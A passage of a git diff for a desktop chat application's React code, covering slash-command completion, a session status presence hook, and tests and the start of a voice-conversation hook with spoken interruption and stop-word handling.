+import { useLiveCompletionAdapter } from './use-live-completion-adapter'
+
+interface SlashItemMetadata extends Record<string, string> {
+  command: string
+  display: string
+  meta: string
+  group: string
+  rawText: string
+  /** Completion-action id; empty for ordinary insert-a-chip completions. */
+  action: string
+}
+
+function textValue(value: unknown, fallback = ''): string {
+  if (typeof value === 'string') {
+    return value
+  }
+
+  if (Array.isArray(value)) {
+    return value
+      .map(part => (Array.isArray(part) ? String(part[1] ?? '') : typeof part === 'string' ? part : ''))
+      .join('')
+      .trim()
+  }
+
+  return fallback
+}
+
+function commandText(value: string): string {
+  return value.startsWith('/') ? value : `/${value}`
+}
+
+/** How many recent sessions to surface inline before the "Browse all…" entry. */
+const SESSION_INLINE_LIMIT = 7
+
+/** Live `/` completions backed by the gateway's `complete.slash` RPC. */
+export function useSlashCompletions(options: {
+  gateway: ClawCodexGateway | null
+  /** Desktop theme list — `/skin` is owned client-side, so its arg completions
+   *  come from here, not the backend (whose skin list is CLI/TUI-only). */
+  skinThemes?: DesktopThemeCommandOption[]
+  activeSkin?: string
+}): {
+  adapter: Unstable_TriggerAdapter
+  loading: boolean
+} {
+  const { gateway, skinThemes, activeSkin } = options
+  const enabled = Boolean(gateway)
+  const epoch = useStore($slashCompletionsEpoch)
+
+  const fetcher = useCallback(
+    async (query: string): Promise<CompletionPayload> => {
+      if (!gateway) {
+        return { items: [], query }
+      }
+
+      const text = `/${query}`
+
+      // The desktop owns /skin entirely (client-side theme context). Surface its
+      // theme list inside this single popover instead of a bespoke one, and skip
+      // the backend skin completions (which describe CLI/TUI skins that don't
+      // apply here). Matches once we're past `/skin ` into the arg stage.
+      const skinArg = /^\/skin\s+(.*)$/is.exec(text)
+
+      if (skinArg && skinThemes) {
+        const items = desktopSkinSlashCompletions(skinThemes, activeSkin ?? '', skinArg[1] ?? '').map(entry => ({
+          text: entry.text,
+          display: entry.display,
+          meta: entry.meta,
+          group: 'Themes'
+        }))
+
+        return { items, query }
+      }
+
+      // /resume (and its aliases) completes recent sessions inline — the same
+      // client-side list the picker overlay shows — instead of the backend
+      // (whose /resume opens an interactive TUI picker we can't render here).
+      const sessionArg = /^\/(?:resume|sessions|switch)\s+(.*)$/is.exec(text)
+
+      if (sessionArg) {
+        const needle = normalize(sessionArg[1])
+
+        const matches = (
+          needle
+            ? $sessions
+                .get()
+                .filter(
+                  session =>
+                    sessionTitle(session).toLowerCase().includes(needle) ||
+                    (session.preview ?? '').toLowerCase().includes(needle) ||
+                    session.id.toLowerCase().includes(needle)
+                )
+            : $sessions.get()
+        ).slice(0, SESSION_INLINE_LIMIT)
+
+        const items: CompletionEntry[] = matches.map(session => ({
+          text: `/resume ${session.id}`,
+          display: sessionTitle(session),
+          meta: (session.preview ?? '').trim(),
+          group: 'Sessions'
+        }))
+
+        // Trailing "more" affordance (Cursor-style): picking it opens the full
+        // session picker overlay directly. `text` stays a bare `/resume` so that
+        // submitting it (Enter) still opens the overlay if the action is skipped.
+        items.push({
+          text: '/resume',
+          display: 'Browse all sessions…',
+          meta: '',
+          group: 'Sessions',
+          action: 'session-picker'
+        })
+
+        return { items, query }
+      }
+
+      try {
+        if (!query) {
+          const catalog = filterDesktopCommandsCatalog(
+            await cachedSlashCompletion('catalog', () => gateway.request<CommandsCatalogLike>('commands.catalog'))
+          )
+
+          // Prefer the categorized layout so the popover renders section headers
+          // (Session, Tools & Skills, ...). Fall back to the flat list when the
+          // backend didn't categorize.
+          const sections = catalog.categories?.length ? catalog.categories : [{ name: '', pairs: catalog.pairs ?? [] }]
+
+          const items = sections.flatMap<CompletionEntry>(section =>
+            section.pairs.map(([command, meta]) => ({
+              text: command,
+              display: command,
+              group: section.name || undefined,
+              meta
+            }))
+          )
+
+          // Skill commands reach us only through the flat `pairs` list — the
+          // backend categorizes registry commands but appends skills
+          // uncategorized, so the categorized layout alone drops every skill
+          // from the bare `/` list even though typing `/wo` offers them.
+          // Re-add the leftovers under one Skills header (which also gives them
+          // the skill pill accent and makes them offerable mid-message).
+          const categorized = new Set(items.map(item => item.text.toLowerCase()))
+          const skillRows: CompletionEntry[] = []
+
+          for (const [command, meta] of catalog.pairs ?? []) {
+            if (!categorized.has(command.toLowerCase()) && isDesktopSlashExtensionCommand(command)) {
+              skillRows.push({ text: command, display: command, group: 'Skills', meta })
+            }
+          }
+
+          // Browsing, not searching: rank the skills the user actually reaches
+          // for to the top and drop never-used built-ins entirely. Typing a
+          // query takes the other branch, where nothing is hidden.
+          items.push(...rankSkillCommands(skillRows, catalog.skills, { pruneUnusedBuiltins: true }))
+
+          return { items, query }
+        }
+
+        const result = await cachedSlashCompletion(`slash:${text.toLowerCase()}`, () =>
+          gateway.request<{ items?: CompletionEntry[]; replace_from?: number }>('complete.slash', { text })
+        )
+
+        // Arg-completion items (replace_from > 1) carry just the arg stub —
+        // e.g. complete.slash returns `{text: "alice"}` for `/personality alic`
+        // with replace_from = 14. Rewrite those entries so the popover inserts
+        // the full `/personality alice` token instead of stranding `/alice`.
+        const replaceFrom = typeof result.replace_from === 'number' ? result.replace_from : 1
+        const isArgCompletion = replaceFrom > 1
+        const prefix = isArgCompletion ? text.slice(0, replaceFrom) : ''
+
+        const decorated = (result.items ?? [])
+          .map(item => {
+            if (!isArgCompletion) {
+              return item
+            }
+
+            const argText = typeof item.text === 'string' ? item.text : ''
+
+            return { ...item, text: `${prefix}${argText}` }
+          })
+          .filter(item => isArgCompletion || isDesktopSlashSuggestion(item.text))
+          .map(item => ({
+            ...item,
+            // Arg suggestions (e.g. `/handoff <platform>`) live under one
+            // header; otherwise split skills out from built-in commands.
+            group: isArgCompletion ? 'Options' : isDesktopSlashExtensionCommand(item.text) ? 'Skills' : 'Commands',
+            // Arg items carry their own meta (the personality/toolset/platform
+            // blurb). Only command rows get the registry description — looking
+            // one up for `/personality none` would clobber it with the parent
+            // command's text.
+            meta: isArgCompletion ? textValue(item.meta) : desktopSlashDescription(item.text, textValue(item.meta))
+          }))
+
+        // Keep each group contiguous so headers render once: Commands before
+        // Skills (stable within a group, preserving backend relevance order).
+        const groupOrder = ['Commands', 'Skills', 'Options']
+
+        if (isArgCompletion) {
+          return { items: decorated, query }
+        }
+
+        // Rank the matched skills by use — `/re` should lead with the /research
+        // the user lives in, not the /research-paper-writing they've never
+        // opened. Nothing is pruned here: a typed query is a search, and a
+        // search that hides a match is broken. Usage rides along on the catalog
+        // response, which the popover has already fetched by the time anyone
+        // types; if it somehow hasn't, order falls back to the backend's.
+        const catalogSkills = peekCachedSlashCompletion<CommandsCatalogLike>('catalog')?.skills
+
+        const ranked = [
+          ...decorated.filter(item => item.group !== 'Skills'),
+          ...rankSkillCommands(
+            decorated.filter(item => item.group === 'Skills'),
+            catalogSkills
+          )
+        ]
+
+        const items = [...ranked].sort((a, b) => groupOrder.indexOf(a.group) - groupOrder.indexOf(b.group))
+
+        return { items, query }
+      } catch {
+        return { items: [], query }
+      }
+    },
+    [gateway, skinThemes, activeSkin]
+  )
+
+  const toItem = useCallback((entry: CompletionEntry, index: number): Unstable_TriggerItem => {
+    const command = commandText(entry.text)
+    const display = textValue(entry.display, commandText(entry.text))
+    const meta = textValue(entry.meta)
+
+    const metadata: SlashItemMetadata = {
+      command,
+      display,
+      meta,
+      group: textValue(entry.group),
+      action: textValue(entry.action),
+      // Provide rawText so clawcodexDirectiveFormatter.serialize uses the
+      // direct-insertion path instead of the legacy @type:id fallback.
+      // Without this, the item.id (which includes a "|index" suffix for
+      // trigger-adapter uniqueness) leaks into the serialized chip text
+      // and the submitted command.
+      rawText: command
+    }
+
+    return {
+      id: `${entry.text}|${index}`,
+      type: 'slash',
+      label: display.startsWith('/') ? display.slice(1) : display,
+      ...(meta ? { description: meta } : {}),
+      metadata
+    }
+  }, [])
+
+  // Mirrors the fetcher's branching: the `/skin` and `/resume` arg stages are
+  // answered from client-side state, so they never wait on the network; every
+  // other query is served from the completion cache when it's still warm.
+  const isCached = useCallback(
+    (query: string) => {
+      const text = `/${query}`
+
+      if ((skinThemes && /^\/skin\s+/is.test(text)) || /^\/(?:resume|sessions|switch)\s+/is.test(text)) {
+        return true
+      }
+
+      return hasCachedSlashCompletion(query ? `slash:${text.toLowerCase()}` : 'catalog')
+    },
+    [skinThemes]
+  )
+
+  return useLiveCompletionAdapter({ enabled, epoch, fetcher, isCached, toItem })
+}
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-status-presence.ts b/ui-desktop/src/app/chat/composer/hooks/use-status-presence.ts
new file mode 100644
index 000000000..b4655ffd5
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-status-presence.ts
@@ -0,0 +1,44 @@
+import { useSyncExternalStore } from 'react'
+
+import { $composerActionsBySession } from '@/store/composer-actions'
+import { $statusItemsBySession } from '@/store/composer-status'
+import { $previewStatusBySession } from '@/store/preview-status'
+
+/** Structural view of the three per-session feeds — they hold different item
+ *  types, and all this hook needs from each is "does this key have rows". */
+interface PresenceFeed {
+  get(): Record<string, undefined | unknown[]>
+  listen(listener: () => void): () => void
+}
+
+const FEEDS: PresenceFeed[] = [$statusItemsBySession, $composerActionsBySession, $previewStatusBySession]
+
+const subscribe = (onChange: () => void) => {
+  const offs = FEEDS.map(feed => feed.listen(onChange))
+
+  return () => {
+    for (const off of offs) {
+      off()
+    }
+  }
+}
+
+/**
+ * Whether a session has any status items, micro actions, or previews, as a
+ * coarse *edge*: the boolean only flips when the stack appears/disappears.
+ * ChatBar uses it to toggle a styling data-attr — subscribing to the whole
+ * `$statusItemsBySession` (a `computed` that rebuilds the entire map) /
+ * `$previewStatusBySession` maps re-rendered the ~1.4k ChatBar on every
+ * per-item mutation (a subagent tick, a 5s background poll) and on churn in
+ * OTHER sessions. The boolean snapshot bails out of all of that, re-rendering
+ * only on the actual show/hide transition.
+ */
+export function useSessionStatusPresence(sessionId: string | null): boolean {
+  return useSyncExternalStore(subscribe, () => {
+    if (!sessionId) {
+      return false
+    }
+
+    return FEEDS.some(feed => (feed.get()[sessionId]?.length ?? 0) > 0)
+  })
+}
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-voice-conversation-rearm.test.tsx b/ui-desktop/src/app/chat/composer/hooks/use-voice-conversation-rearm.test.tsx
new file mode 100644
index 000000000..e993abc57
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-voice-conversation-rearm.test.tsx
@@ -0,0 +1,258 @@
+import { act, cleanup, renderHook, waitFor } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { $voicePlayback } from '@/store/voice-playback'
+
+import { useVoiceConversation } from './use-voice-conversation'
+
+const mocks = vi.hoisted(() => {
+  let deferStreamStart = false
+  let onSilence: null | (() => void) = null
+  let resolveStreamStart: null | (() => void) = null
+  let resolveSpeech: null | ((outcome: 'done' | 'fallback') => void) = null
+  let streamAvailable = true
+
+  const stopVoicePlayback = vi.fn(() => {
+    const current = $voicePlayback.get()
+    $voicePlayback.set({ ...current, sequence: current.sequence + 1, status: 'idle' })
+  })
+
+  const playSpeechText = vi.fn(() => {
+    stopVoicePlayback()
+
+    return Promise.resolve(true)
+  })
+
+  const handle = {
+    cancel: vi.fn(),
+    start: vi.fn(async (options: { onSilence: () => void }) => {
+      onSilence = options.onSilence
+    }),
+    stop: vi.fn(async () => ({
+      audio: new Blob(['voice'], { type: 'audio/webm' }),
+      heardSpeech: true
+    }))
+  }
+
+  return {
+    continueStreamStart() {
+      resolveStreamStart?.()
+      resolveStreamStart = null
+    },
+    deferStreamStart() {
+      deferStreamStart = true
+    },
+    finishSpeech(outcome: 'done' | 'fallback') {
+      resolveSpeech?.(outcome)
+    },
+    handle,
+    playSpeechText,
+    resetSpeechMocks() {
+      deferStreamStart = false
+      resolveStreamStart = null
+      resolveSpeech = null
+      streamAvailable = true
+    },
+    startSpeechStream: vi.fn(async () => {
+      if (deferStreamStart) {
+        await new Promise<void>(resolve => {
+          resolveStreamStart = resolve
+        })
+      }
+
+      if (!streamAvailable) {
+        return null
+      }
+
+      const current = $voicePlayback.get()
+      $voicePlayback.set({ ...current, sequence: current.sequence + 1, status: 'preparing' })
+
+      return {
+        append: vi.fn(),
+        done: new Promise<'done' | 'fallback'>(resolve => {
+          resolveSpeech = resolve
+        }),
+        finish: vi.fn()
+      }
+    }),
+    stopVoicePlayback,
+    triggerSilence() {
+      onSilence?.()
+    },
+    useFallbackSpeech() {
+      streamAvailable = false
+    }
+  }
+})
+
+vi.mock('./use-mic-recorder', () => ({
+  useMicRecorder: () => ({ handle: mocks.handle, level: 0 })
+}))
+
+vi.mock('@/lib/voice-barge-in', () => ({
+  monitorSpeechDuringPlayback: () => vi.fn()
+}))
+
+vi.mock('@/lib/voice-playback', () => ({
+  markVoicePlaybackInterrupted: vi.fn(),
+  playSpeechText: mocks.playSpeechText,
+  startSpeechStream: mocks.startSpeechStream,
+  stopVoicePlayback: mocks.stopVoicePlayback
+}))
+
+vi.mock('@/lib/thinking-sound', () => ({
+  startThinkingSound: vi.fn(),
+  stopThinkingSound: vi.fn()
+}))
+
+vi.mock('@/store/notifications', () => ({
+  notify: vi.fn(),
+  notifyError: vi.fn()
+}))
+
+vi.mock('@/i18n', () => ({
+  useI18n: () => ({
+    t: {
+      notifications: {
+        voice: {
+          configureSpeechToText: '',
+          couldNotStartSession: '',
+          microphoneFailed: '',
+          playbackFailed: '',
+          transcriptionFailed: '',
+          unavailable: ''
+        }
+      }
+    }
+  })
+}))
+
+function renderRearmConversation(responseId: string, responseText: string) {
+  let response: null | { id: string; pending: boolean; text: string } = null
+
+  return renderHook(
+    ({ enabled }) =>
+      useVoiceConversation({
+        busy: false,
+        consumePendingResponse: vi.fn(),
+        enabled,
+        onSubmit: async () => {
+          response = { id: responseId, pending: false, text: responseText }
+        },
+        onTranscribeAudio: async () => 'Hello',
+        pendingResponse: () => response
+      }),
+    { initialProps: { enabled: false } }
+  )
+}
+
+async function beginReply(hook: ReturnType<typeof renderRearmConversation>) {
+  hook.rerender({ enabled: true })
+  await waitFor(() => expect(mocks.handle.start).toHaveBeenCalledTimes(1))
+
+  await act(async () => {
+    mocks.triggerSilence()
+  })
+}
+
+describe('useVoiceConversation playback rearm', () => {
+  afterEach(() => {
+    cleanup()
+    vi.clearAllMocks()
+    mocks.resetSpeechMocks()
+    $voicePlayback.set({
+      audioElement: null,
+      messageId: null,
+      sequence: 0,
+      source: null,
+      status: 'idle'
+    })
+  })
+
+  it('re-arms the microphone after normal streaming playback completes', async () => {
+    $voicePlayback.set({
+      audioElement: null,
+      messageId: null,
+      sequence: 7,
+      source: null,
+      status: 'idle'
+    })
+    const hook = renderRearmConversation('reply-1', 'Hello back')
+
+    await beginReply(hook)
+    await waitFor(() => expect(mocks.startSpeechStream).toHaveBeenCalled())
+    expect($voicePlayback.get().sequence).toBeGreaterThan(7)
+
+    await act(async () => {
+      mocks.finishSpeech('done')
+    })
+
+    await waitFor(() => expect(mocks.handle.start).toHaveBeenCalledTimes(2))
+    expect(hook.result.current.status).toBe('listening')
+  })
+
+  it('honors Stop while streaming playback is still preparing', async () => {
+    mocks.deferStreamStart()
+    const hook = renderRearmConversation('reply-preparing', 'Do not play this')
+
+    await beginReply(hook)
+    await waitFor(() => expect(mocks.startSpeechStream).toHaveBeenCalled())
+
+    mocks.stopVoicePlayback()
+    await act(async () => {
+      mocks.continueStreamStart()
+    })
+
+    await waitFor(() => expect(hook.result.current.status).toBe('idle'))
+    expect(mocks.stopVoicePlayback).toHaveBeenCalledTimes(2)
+    expect(mocks.handle.start).toHaveBeenCalledTimes(1)
+  })
+
+  it('does not start fallback playback after Stop during stream discovery', async () => {
+    mocks.deferStreamStart()
+    mocks.useFallbackSpeech()
+    const hook = renderRearmConversation('reply-no-stream', 'Do not fall back')
+
+    await beginReply(hook)
+    await waitFor(() => expect(mocks.startSpeechStream).toHaveBeenCalled())
+
+    mocks.stopVoicePlayback()
+    await act(async () => {
+      mocks.continueStreamStart()
+    })
+
+    await waitFor(() => expect(hook.result.current.status).toBe('idle'))
+    expect(mocks.playSpeechText).not.toHaveBeenCalled()
+    expect(mocks.handle.start).toHaveBeenCalledTimes(1)
+  })
+
+  it('does not re-arm after an external Stop during streaming playback', async () => {
+    const hook = renderRearmConversation('reply-stopped', 'Playing now')
+
+    await beginReply(hook)
+    await waitFor(() => expect(mocks.startSpeechStream).toHaveBeenCalled())
+
+    mocks.stopVoicePlayback()
+    await act(async () => {
+      mocks.finishSpeech('done')
+    })
+
+    await waitFor(() => expect(hook.result.current.status).toBe('idle'))
+    expect(mocks.handle.start).toHaveBeenCalledTimes(1)
+  })
+
+  it('re-arms the microphone after normal fallback playback completes', async () => {
+    mocks.useFallbackSpeech()
+    const hook = renderRearmConversation('reply-fallback', 'Fallback reply')
+
+    await beginReply(hook)
+
+    await waitFor(() =>
+      expect(mocks.playSpeechText).toHaveBeenCalledWith('Fallback reply', {
+        source: 'voice-conversation'
+      })
+    )
+    await waitFor(() => expect(mocks.handle.start).toHaveBeenCalledTimes(2))
+    expect(hook.result.current.status).toBe('listening')
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-voice-conversation.test.tsx b/ui-desktop/src/app/chat/composer/hooks/use-voice-conversation.test.tsx
new file mode 100644
index 000000000..1e43ef8b1
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-voice-conversation.test.tsx
@@ -0,0 +1,266 @@
+import { act, cleanup, renderHook, waitFor } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { BargeMonitorCallbacks } from '@/lib/voice-barge-in'
+
+import type { MicRecording } from './use-mic-recorder'
+import { useVoiceConversation } from './use-voice-conversation'
+
+// The full-duplex contract: the barge monitor is live across the WHOLE agent
+// turn — generation (thinking) and playback (speaking) — so speaking over the
+// model interrupts it mid-generation instead of the mic being deaf until TTS
+// starts (the Windows report: interruption "never works" because the deaf
+// window covered generation, and playback bleed made the old monitor's
+// trigger unreachable).
+
+const monitorCalls: BargeMonitorCallbacks[] = []
+const stopMonitor = vi.fn()
+
+vi.mock('@/lib/voice-barge-in', () => ({
+  monitorSpeechDuringPlayback: (callbacks: BargeMonitorCallbacks) => {
+    monitorCalls.push(callbacks)
+
+    return stopMonitor
+  }
+}))
+
+const markVoicePlaybackInterrupted = vi.fn()
+const stopVoicePlayback = vi.fn()
+
+vi.mock('@/lib/voice-playback', () => ({
+  markVoicePlaybackInterrupted: () => markVoicePlaybackInterrupted(),
+  playSpeechText: vi.fn(async () => true),
+  startSpeechStream: vi.fn(async () => null),
+  stopVoicePlayback: () => stopVoicePlayback()
+}))
+
+vi.mock('@/lib/thinking-sound', () => ({
+  startThinkingSound: vi.fn(),
+  stopThinkingSound: vi.fn()
+}))
+
+const micHandle = {
+  cancel: vi.fn(),
+  start: vi.fn(async () => undefined),
+  stop: vi.fn<() => Promise<MicRecording | null>>(async () => null)
+}
+
+vi.mock('./use-mic-recorder', () => ({
+  useMicRecorder: () => ({ handle: micHandle, level: 0, recording: false })
+}))
+
+vi.mock('@/i18n', () => ({
+  useI18n: () => ({
+    t: {
+      notifications: {
+        voice: {
+          configureSpeechToText: 'configure STT',
+          couldNotStartSession: 'could not start',
+          microphoneFailed: 'mic failed',
+          playbackFailed: 'playback failed',
+          transcriptionFailed: 'transcription failed',
+          unavailable: 'unavailable'
+        }
+      }
+    }
+  })
+}))
+
+vi.mock('@/store/notifications', () => ({
+  notify: vi.fn(),
+  notifyError: vi.fn()
+}))
+
+interface HookProps {
+  busy: boolean
+}
+
+function renderConversation(overrides: { onInterrupt?: () => void; transcript?: string } = {}) {
+  const onInterrupt = overrides.onInterrupt ?? vi.fn()
+
+  // Mirrors the real app: submitting a turn makes the agent busy.
+  const onBusyChange: { current: (busy: boolean) => void } = { current: () => undefined }
+
+  const onSubmit = vi.fn(async () => {
+    onBusyChange.current(true)
+  })
+
+  const onStopWord = vi.fn()
+
+  // First transcription is the turn that starts the conversation; subsequent
+  // ones are barge captures (the overridable transcript).
+  let transcriptions = 0
+
+  const onTranscribeAudio = vi.fn(async () =>
+    transcriptions++ === 0 ? 'kick off the task' : (overrides.transcript ?? 'and another thing')
+  )
+
+  const hook = renderHook(
+    ({ busy }: HookProps) =>
+      useVoiceConversation({
+        busy,
+        consumePendingResponse: vi.fn(),
+        enabled: true,
+        onInterrupt,
+        onStopWord,
+        onSubmit,
+        onTranscribeAudio,
+        pendingResponse: () => null
+      }),
+    { initialProps: { busy: false } }
+  )
+
+  onBusyChange.current = busy => hook.rerender({ busy })
+
+  return { hook, onInterrupt, onStopWord, onSubmit, onTranscribeAudio }
+}
+
+/** Drive the hook into the generation phase (turn submitted, model working). */
+async function enterThinking(hook: ReturnType<typeof renderConversation>['hook']) {
+  await act(async () => {
+    await hook.result.current.start()
+  })
+  await waitFor(() => expect(hook.result.current.status).toBe('listening'))
+
+  micHandle.stop.mockResolvedValueOnce({
+    audio: new Blob(['q'], { type: 'audio/webm' }),
+    durationMs: 900,
+    heardSpeech: true
+  })
+
+  await act(async () => {
+    hook.result.current.stopTurn()
+  })
+  await waitFor(() => expect(hook.result.current.status).toBe('thinking'))
+}
+
+describe('useVoiceConversation full-duplex barge-in', () => {
+  beforeEach(() => {
+    monitorCalls.length = 0
+    vi.clearAllMocks()
+    micHandle.start.mockResolvedValue(undefined)
+    micHandle.stop.mockResolvedValue(null)
+  })
+
+  afterEach(cleanup)
+
+  it('arms the barge monitor during generation (before any reply audio exists)', async () => {
+    const { hook } = renderConversation()
+
+    await act(async () => {
+      await hook.result.current.start()
+    })
+    await enterThinking(hook)
+
+    await waitFor(() => expect(hook.result.current.status).toBe('thinking'))
+    // busy=true + thinking → the full-duplex monitor must be live.
+    await waitFor(() => expect(monitorCalls.length).toBeGreaterThan(0))
+  })
+
+  it('interrupts the in-flight turn when speech trips mid-generation', async () => {
+    const { hook, onInterrupt } = renderConversation()
+
+    await act(async () => {
+      await hook.result.current.start()
+    })
+    await enterThinking(hook)
+    await waitFor(() => expect(monitorCalls.length).toBeGreaterThan(0))
+
+    act(() => {
+      monitorCalls.at(-1)?.onSpeech()
+    })
+
+    expect(onInterrupt).toHaveBeenCalledTimes(1)
+    expect(markVoicePlaybackInterrupted).toHaveBeenCalled()
+    expect(stopVoicePlayback).toHaveBeenCalled()
+  })
+
+  it('submits the captured interruption once the interrupt settles (busy clears)', async () => {
+    const { hook, onSubmit } = renderConversation({ transcript: 'no, do it differently' })
+
+    await act(async () => {
+      await hook.result.current.start()
+    })
+    await enterThinking(hook)
+    await waitFor(() => expect(monitorCalls.length).toBeGreaterThan(0))
+
+    const monitor = monitorCalls.at(-1)
+
+    act(() => {
+      monitor?.onSpeech()
+    })
+
+    // Interrupt lands → the turn ends → busy flips false.
+    hook.rerender({ busy: false })
+
+    await act(async () => {
+      monitor?.onUtterance?.(new Blob(['x'], { type: 'audio/webm' }))
+    })
+
+    await waitFor(() => expect(onSubmit).toHaveBeenCalledWith('no, do it differently'))
+  })
+
+  it('does not interrupt when speech trips during playback (turn already done)', async () => {
+    const { hook, onInterrupt } = renderConversation()
+
+    await act(async () => {
+      await hook.result.current.start()
+    })
+    await enterThinking(hook)
+    await waitFor(() => expect(monitorCalls.length).toBeGreaterThan(0))
+
+    // Turn finished; playback phase.
+    hook.rerender({ busy: false })
+
+    act(() => {
+      monitorCalls.at(-1)?.onSpeech()
+    })
+
+    expect(onInterrupt).not.toHaveBeenCalled()
+    expect(stopVoicePlayback).toHaveBeenCalled()
+  })
+
+  it('a spoken stop command in the barge capture ends the conversation instead of submitting', async () => {
+    const { hook, onStopWord, onSubmit } = renderConversation({ transcript: 'stop' })
+
+    await act(async () => {
+      await hook.result.current.start()
+    })
+    await enterThinking(hook)
+    await waitFor(() => expect(monitorCalls.length).toBeGreaterThan(0))
+
+    const monitor = monitorCalls.at(-1)
+
+    act(() => {
+      monitor?.onSpeech()
+    })
+    hook.rerender({ busy: false })
+
+    await act(async () => {
+      monitor?.onUtterance?.(new Blob(['s'], { type: 'audio/webm' }))
+    })
+
+    await waitFor(() => expect(onStopWord).toHaveBeenCalledTimes(1))
+    // Only the kickoff turn was submitted — the "stop" capture never was.
+    expect(onSubmit).toHaveBeenCalledTimes(1)
+    expect(onSubmit).not.toHaveBeenCalledWith('stop')
+  })
+
+  it('re-arms a single monitor per turn (idempotent ensure)', async () => {
+    const { hook } = renderConversation()
+
+    await act(async () => {
+      await hook.result.current.start()
+    })
+    await enterThinking(hook)
+    await waitFor(() => expect(monitorCalls.length).toBeGreaterThan(0))
+
+    const armed = monitorCalls.length
+
+    // Effect re-runs (busy toggles, status changes) must not open more mics.
+    hook.rerender({ busy: true })
+    hook.rerender({ busy: true })
+
+    expect(monitorCalls.length).toBe(armed)
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/hooks/use-voice-conversation.ts b/ui-desktop/src/app/chat/composer/hooks/use-voice-conversation.ts
new file mode 100644
index 000000000..55978c428
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/hooks/use-voice-conversation.ts
@@ -0,0 +1,736 @@
+import { useCallback, useEffect, useRef, useState } from 'react'
+
+import { useI18n } from '@/i18n'
+import { startThinkingSound, stopThinkingSound } from '@/lib/thinking-sound'
+import { monitorSpeechDuringPlayback } from '@/lib/voice-barge-in'
+import {
+  markVoicePlaybackInterrupted,
+  playSpeechText,
+  type SpeechStreamSession,
+  startSpeechStream,
+  stopVoicePlayback
+} from '@/lib/voice-playback'
+import { isVoiceStopCommand } from '@/lib/voice-stop-word'
+import { notify, notifyError } from '@/store/notifications'
+import { $voicePlayback } from '@/store/voice-playback'
+
+import { useMicRecorder } from './use-mic-recorder'
+
+export type ConversationStatus = 'idle' | 'listening' | 'transcribing' | 'thinking' | 'speaking'
+
+interface PendingVoiceResponse {
+  id: string
+  pending: boolean
+  text: string
+}
+
+interface VoiceConversationOptions {
+  busy: boolean
+  enabled: boolean
+  onFatalError?: () => void
+  /** Interrupt the in-flight agent turn (the same seam as the Stop button).
+   *  Fired when the user speaks while the model is still generating. */
+  onInterrupt?: () => Promise<void> | void
+  onStopWord?: () => void
+  onSubmit: (text: string) => Promise<void> | void
+  onTranscribeAudio?: (audio: Blob) => Promise<string>
+  pendingResponse: () => PendingVoiceResponse | null
+  consumePendingResponse: () => void
+  /** Awaited right before the mic is opened. Used to let the wake-word listener
+   *  fully release the capture device first, so the two never contend. */
+  beforeMicOpen?: () => Promise<void> | void
+}
+
+/** How long a barge-triggered interrupt may take to settle before we submit
+ *  the captured utterance anyway. */
+const INTERRUPT_SETTLE_TIMEOUT_MS = 5_000
+
+export function useVoiceConversation({
+  busy,
+  enabled,
+  onFatalError,
+  onInterrupt,
+  onStopWord,
+  onSubmit,
+  onTranscribeAudio,
+  pendingResponse,
+  consumePendingResponse,
+  beforeMicOpen
+}: VoiceConversationOptions) {
+  const { t } = useI18n()
+  const voiceCopy = t.notifications.voice
+  const { handle, level } = useMicRecorder(voiceCopy)
+  const [status, setStatus] = useState<ConversationStatus>('idle')
+  const [muted, setMuted] = useState(false)
+  const turnTimeoutRef = useRef<number | null>(null)
+  const pendingStartRef = useRef(false)
+  const turnClosingRef = useRef(false)
+  const awaitingSpokenResponseRef = useRef(false)
+  const responseIdRef = useRef<string | null>(null)
+  const spokenSourceLengthRef = useRef(0)
+  const speechSessionRef = useRef<null | SpeechStreamSession>(null)
+  const stopBargeMonitorRef = useRef<(() => void) | null>(null)
+  const bargeCapturePendingRef = useRef(false)
+  const bargedRef = useRef(false)
+  const speechStartSequenceRef = useRef(0)
+  const enabledRef = useRef(enabled)
+  const mutedRef = useRef(muted)
+  const busyRef = useRef(busy)
+  const statusRef = useRef<ConversationStatus>('idle')
+  const wasEnabledRef = useRef(enabled)
+  const onStopWordRef = useRef(onStopWord)
+  const onInterruptRef = useRef(onInterrupt)
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    onInterruptRef.current = onInterrupt
+  }, [onInterrupt])
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    onStopWordRef.current = onStopWord
+  }, [onStopWord])
+
+  const beforeMicOpenRef = useRef(beforeMicOpen)
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    beforeMicOpenRef.current = beforeMicOpen
+  }, [beforeMicOpen])
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    enabledRef.current = enabled
+  }, [enabled])
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    mutedRef.current = muted
+  }, [muted])
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    busyRef.current = busy
+  }, [busy])
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    statusRef.current = status
+  }, [status])
+
+  const clearTurnTimeout = () => {
+    if (turnTimeoutRef.current) {
+      window.clearTimeout(turnTimeoutRef.current)
+      turnTimeoutRef.current = null
+    }
+  }
+
+  const dropSpeechSession = () => {
+    stopBargeMonitorRef.current?.()
+    stopBargeMonitorRef.current = null
+    bargeCapturePendingRef.current = false
+    bargedRef.current = false
+    speechSessionRef.current = null
+    responseIdRef.current = null
+    spokenSourceLengthRef.current = 0
+  }
+
+  const handleTurn = useCallback(
+    async (forceTranscribe = false) => {
+      if (turnClosingRef.current) {
+        return
+      }
+
+      turnClosingRef.current = true
+      clearTurnTimeout()
+      setStatus('transcribing')
+
+      try {
+        const result = await handle.stop()
+
